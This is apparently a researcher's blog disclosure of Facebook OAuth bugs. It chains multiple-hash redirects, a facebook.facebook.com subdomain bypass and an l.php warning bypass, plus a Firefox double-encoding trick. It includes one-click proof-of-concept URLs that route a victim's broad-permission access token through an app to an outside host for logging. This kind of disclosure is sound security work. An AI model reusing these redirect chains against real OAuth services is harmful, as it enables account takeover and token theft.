How I Hacked Any Facebook Account...Again!

Instead, Facebook allow two or more hash sign request in redirect_uri,next parameter (next= %23/xxx/ %23/xxx)

That's because no one was thinking there is a way to exploit Facebook OAuth with Multiple hash sign request




So Can we exploit OAuth with two hash sign request? (%23/x/%23/xxxx)?,

The answer is yes!,

I found that there is a strange behavior of redirection when a user use multiple hash sign request in facebook.com

Multiple Hash Sign Request Example:

facebook.com/#/x/#/messages

Redirect to:

http://facebook.com/x/#/messages/

And:

http://facebook.com/x/#/messages/

Redirect to:

http://facebook.com/messages/

Amazing How Things Works ;)

Now, After we know that we can use multiple hash sign request (#/xxx/#/xxx)



in our redirect_uri, next parameter to bypass the one hash sign (#/xx) regex protection in Facebook OAuth (next=http://facebook.com/#/xxx),

There is more to it in order to use that behavior to exploit the OAuth Bug once again,

I found out that Facebook OAuth rejects unauthorized subdomains in redirect_uri, next parameter,

For example:

Facebook allows only subdomains of Facebook Mobile Version,

Such as:

touch.facebook.com

m.facebook.com

0.facebook.com


But rejects unknown subdomains:

( aaa.facebook.com, bbb.facebook.com)+ main domains ( facebook.com, apps.facebook.com,etc..)

Again, Bad News!

That's Because In any mobile version of Facebook ( touch.facebook.com, m.facebook.com, 0.facebook.com), We won't see the multiple hash sign behaviour in our request

For Example:

https://touch.facebook.com/#/xx/#!messages

https://touch.facebook.com/#!/xx/#!/messages

This request will not be valid, Will not redirect us to the messages screen,



Anyway, I need a subdomain like the same official domain of facebook.com,

I need it to exploit the strange redirection behavior with multiple hash sign request  (#/xx/#/xx) under facebook.com

At first sight it seems that facebook rejects any subdomain except the mobile subdomain version (touch.facebook.com,etc...),

I found that if I use facebook as a subdomain (facebook.facebook.com), I can bypass this protection,

Sometimes the answer is right in front of you :).

Wait a second!,

For now it seems that I can access to files / directories in facebook.com via the redirect_uri,next parameter right?,

But i can't access my app that redirect victims to the attacker's external website (files.nirgoldshlager.com) , To Save the access_token of the victim,
That's Because my "malicious" App located at touch.facebok.com/apps/xxx, apps.facebook.com/apps/xxxx

I thought of a few ways to exploit this situation,

1.

Create a Page Tab in Facebook Page that redirect to external website ( files.nirgoldshlager.com),

2.

Try to access my app from facebook.com domain


3.

Find a Site Redirection Vulnerability in facebook.com.


I tried to use my App or Page tab in redirect_uri,next parameter

For Example:

A.

(My "Malicious" App, Located in facebook.com)

https://facebook.com/apps/application.php?id=314021278671363

B.

(Page Tab that redirect to external website, Located in facebook.com)

https://www.facebook.com/Goldshlager?v=app_185356844859770

Bad news again!

I cant use this methods because there is to much redirection process in this attack,

The Access_token of the victim will not be sent to an external site after 3 redirection requests in GET URL, That's sucks!

I was thinking again, Maybe there is some way to redirect the victim directly to my app located in touch.facebook.com/apps/myapp to limit the redirection process to three times for example.

So, I found that there is a file called l.php in facebook.com, I'm sure most of you familiar with this file,

This file is responsible of redirecting people to external websites, In this case Facebook provide a warning message, Ask the user to confirm the redirection before they redirect him,

Seems I'm lost again,



I found that if i use 5 byte before the external website in l.php,

I can bypass this warning message when i redirect the victim to subdomains of facebook.com

For example:

Warning message:

https://www.facebook.com/l/;touch.facebook.com/apps/sdfsdsdsgs

Bypass warning message by using  5 byte , Redirect to touch.facebook.com subdomain:

https://www.facebook.com/l/goldy;touch.facebook.com/apps/sdfsdsdsgs

Cool!,

Now lets combine all of these methods to bypass Facebook OAuth,

Exploit Summary

1. 

Using facebook.facebook.com subdomain to bypass subdomain regex protection in OAuth ( facebook.facebook.com)

2.

Exploit the strange redirection behavior in facebook.com with multiple hash signs ( https://facebook.facebook.com/#/x/#/l/ggggg;touch.facebook.com/apps/sdfsdsdsgs)

3.

Bypass the warning message in l.php with 5 byte ( https://www.facebook.com/l/ggggg;touch.facebook.com)

4.

Redirect the victim to external websites located in files.nirgoldshlager.com via my Facebook app, To save the victim access_token in a log file

Final PoC One Click (Works On All Browsers, Bypass 2-STEP Verification, Access token never expired until the victim changed his password):

https://www.facebook.com/connect/uiserver.php?app_id=220764691281998&next=https://facebook.facebook.com/%23/x/%23/l/ggggg%3btouch.facebook.com/apps/sdfsdsdsgs%23&display=page&fbconnect=1&method=permissions.request&response_type=token


  Full description of permission for Facebook Messenger Access Token:

ads_management create_event create_note email export_stream  manage_friendlists manage_groups manage_notifications manage_pages  offline_access photo_upload publish_actions publish_checkins  publish_stream read_friendlists read_insights read_mailbox  read_page_mailboxes read_requests read_stream rsvp_event share_item sms  status_update video_upload xmpp_login


 And???

Bug 2.



This bug was fixed a few weeks ago,

I wanted to find something unique for Facebook users that are using Firefox Browser!,

I found that an attacker is able to encode his payload with Double URL Encoding (%25xx) to attack Facebook users under Firefox Browser and bypass Facebook OAuth regex protection.

This behavior bypasses the hash sign regex protection in touch.facebook.com, facebook.com   ,  x.facebook.com,etc..

PoC:

https://www.facebook.com/dialog/permissions.request?app_id=220764691281998&display=page&next=https%3A%2F%2Ftouch.facebook.com%2F%2523%2521%2Fapps%2Ftestestestte%2F&response_type=token&perms=email&fbconnect=1

BTW.

If you want to use OAuth 2.0 in your own web site, You can look at Egor Homakov @homakov post ( http://homakov.blogspot.co.il/2013/03/redirecturi-is-achilles-heel-of-oauth.html), that shows how to fix these vulnerabilities in OAuth 2.0,

Also please read the risks regarding OAuth 2.0 before you use it in your own site

http://tools.ietf.org/html/rfc6749#page-60


See you next time :)